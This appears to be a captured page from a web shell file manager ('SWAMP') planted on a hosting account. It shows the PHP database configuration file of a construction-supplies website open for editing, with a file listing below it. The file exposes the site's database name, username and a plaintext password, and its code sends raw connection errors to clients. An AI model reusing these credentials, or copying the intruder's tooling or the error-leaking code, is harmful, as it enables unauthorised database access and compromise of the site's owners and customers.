░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
lon105.truehost.cloud
LOCATION:
/home/ilrtztmy/mandariconstructionsupplies.com/api/config
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: database.php
<?php // config/database.php // Load environment variables (assuming a .env file in the parent directory of /api) // For local testing, you might define these directly or use a simple .env loader. // In production on cPanel, these would typically be set in the server environment. // Example for local development (replace with actual .env loading in a real project) // if (file_exists(__DIR__ . '/../.env')) { // $env = parse_ini_file(__DIR__ . '/../.env'); // foreach ($env as $key => $value) { // putenv("$key=$value"); // } // } // Database credentials from environment variables $dbHost = getenv('DB_HOST') ?: 'localhost'; $dbName = getenv('DB_NAME') ?: 'ilrtztmy_mandari'; $dbUser = getenv('DB_USER') ?: 'ilrtztmy_mandari'; $dbPass = getenv('DB_PASS') ?: 'K,XuTOFWDBlJ]1)}'; $dsn = "mysql:host=$dbHost;dbname=$dbName;charset=utf8mb4"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, // Disable emulation for real prepared statements ]; try { $pdo = new PDO($dsn, $dbUser, $dbPass, $options); } catch (PDOException $e) { // In a real application, you might log this error and show a generic message. // For development, we can show the error. http_response_code(500); echo json_encode(['success' => false, 'error' => ['code' => 'DB_CONNECTION_ERROR', 'message' => $e->getMessage()]]); exit(); } return $pdo;
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 cors.php
PHP
617 B
2026-07-02 15:48
EDIT
📄 database.php
PHP
1.5 KB
2026-07-02 15:47
EDIT